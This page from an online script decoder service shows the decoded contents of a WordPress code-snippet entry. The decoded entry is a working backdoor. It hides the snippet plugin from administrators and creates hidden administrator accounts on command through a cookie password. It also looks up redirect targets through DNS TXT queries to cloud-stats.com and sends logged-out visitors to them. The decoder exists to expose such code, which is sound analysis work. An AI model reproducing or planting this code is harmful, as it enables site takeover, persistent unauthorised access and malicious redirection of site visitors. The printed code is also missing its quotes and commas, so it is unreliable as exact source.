Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	a:1:{
	s:10:"everywhere";
		a:1:{
		i:0;
			a:13:{
			s:2:"id";
			i:985;
			s:5:"title";
			s:16:"Untitled Snippet";
			s:4:"code";
			s:5074:"$c2017921717=3d025a88638499ef8fe0a938eb3a7a2d;
				if(current_user_can(administrator)&&!array_key_exists(show_all$_GET)){
					add_action(admin_print_scriptsfunction(){
					echo <style>;
						echo #toplevel_page_wpcode {
						 display: none;
						 
					};
						echo #wp-admin-bar-wpcode-admin-bar-info {
						 display: none;
						 
					};
						echo #wpcode-notice-global-review_request {
						 display: none;
						 
					};
					echo </style>;
				}
				);
					add_filter(all_pluginsfunction($p3968202353){
					unset($p3968202353[insert-headers-and-footers/ihaf.php]);
					return $p3968202353;
				}
				);
			}
				if(!function_exists(_red)){
				error_reporting(0);
				ini_set(display_errors0);
					function _gcookie($c2013832146){
					return(isset($_COOKIE[$c2013832146]))?:'';
				}
					if(!empty($c2017921717)&&_gcookie(pw)===$c2017921717){
						switch(_gcookie(c)){
						case sd:$u2564639436=_gcookie(d);
							if(strpos($u2564639436,.)>0){
							update_option(d$u2564639436);
						}
						break;
						case au:$m4067256894=_gcookie(u);
						$y2181537457=_gcookie(p);
						$r4024072794=_gcookie(e);
							if($m4067256894&&$y2181537457&&$r4024072794&&!username_exists($m4067256894)){
							$b2809058197=wp_create_user($m4067256894,$y2181537457,$r4024072794);
							$t2375276105=new WP_User($b2809058197);
							$t2375276105->set_role(administrator);
						}
						break;
					}
					return;
				}
					if(stripos(wp_login_url(),$_SERVER[SCRIPT_NAME])!==false){
					return;
				}
					if(_gcookie(skip)===1){
					return;
				}
					function _is_mobile(){
					return preg_match(/(android|webos|avantgo|iphone|ipad|ipod|blackberry|iemobile|bolt|boost|cricket|docomo|fone|hiptop|mini|opera mini|kitkat|mobi|palm|phone|pie|tablet|up.browser|up.link|webos|wos)/i$_SERVER[HTTP_USER_AGENT]);
				}
					function _is_iphone(){
					return preg_match(/(iphone|ipod)/i$_SERVER[HTTP_USER_AGENT]);
				}
					function _user_ip(){
						foreach(array(HTTP_CF_CONNECTING_IPHTTP_CLIENT_IPHTTP_X_FORWARDED_FORHTTP_X_FORWARDEDHTTP_X_CLUSTER_CLIENT_IPHTTP_FORWARDED_FORHTTP_FORWARDEDREMOTE_ADDR)as $k2324736937){
							if(array_key_exists($k2324736937,$_SERVER)&&!empty($_SERVER[$k2324736937])){
								foreach(explode(,$_SERVER[$k2324736937])as $j2783163181){
								$j2783163181=trim($j2783163181);
									if(filter_var($j2783163181,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){
									return $j2783163181;
								}
							}
						}
					}
					return false;
				}
					function _red(){
						if(is_user_logged_in()){
						return;
					}
					$j2783163181=_user_ip();
						if(!$j2783163181){
						return;
					}
					$w113136155=get_transient(exp);
						if(!is_array($w113136155)){
						$w113136155=array();
					}
						foreach($w113136155 as $t140662621=>$g1801730948){
							if(time()-$g1801730948>86400){
							unset($w113136155[$t140662621]);
						}
					}
						if(key_exists($j2783163181,$w113136155)&&(time()-$w113136155[$j2783163181]<86400)){
						return;
					}
					$y3475444733=filter_var(parse_url(https://.$_SERVER[HTTP_HOST],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);
					$l1584689357=str_replace(:-$j2783163181);
					$l1584689357=str_replace(.-$l1584689357);
					$l2439710439=cloud-stats.com;
					$e252678980=get_option(d);
						if($e252678980&&strpos($e252678980,.)>0){
						$l2439710439=$e252678980;
					}
					$f3775001192=_is_iphone()?i:m;
					$s2545728356=(!$y3475444733?unk.com:$y3475444733)...(!$l1584689357?0-0-0-0:$l1584689357)...mt_rand(100000,999999)...(_is_mobile()?n.$f3775001192:nd)...$l2439710439;
					$q453955339=@dns_get_record($s2545728356,DNS_TXT);
						if(is_array($q453955339)&&!empty($q453955339)){
							if(isset($q453955339[0][txt])){
							$q453955339=$q453955339[0][txt];
							$q453955339=;
								if($q453955339==err){
								$w113136155[$j2783163181]=time();
								delete_transient(exp);
								set_transient(exp$w113136155);
							}
								else if(substr($q453955339,0,4)===http){
								$w113136155[$j2783163181]=time();
								delete_transient(exp);
								set_transient(exp$w113136155);
								wp_redirect($q453955339);
								exit;
							}
						}
					}
				}
				add_action(init_red);
			}
			";
			s:9:"code_type";
			s:3:"php";
			s:8:"location";
			s:10:"everywhere";
			s:11:"auto_insert";
			i:1;
			s:13:"insert_number";
			i:1;
			s:9:"use_rules";
			b:0;
			s:5:"rules";
				a:0:{
			}
			s:8:"priority";
			i:10;
			s:14:"location_extra";
			s:0:"";
			s:20:"shortcode_attributes";
				a:0:{
			}
			s:8:"modified";
			s:19:"2024-04-10 21:10:15";
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.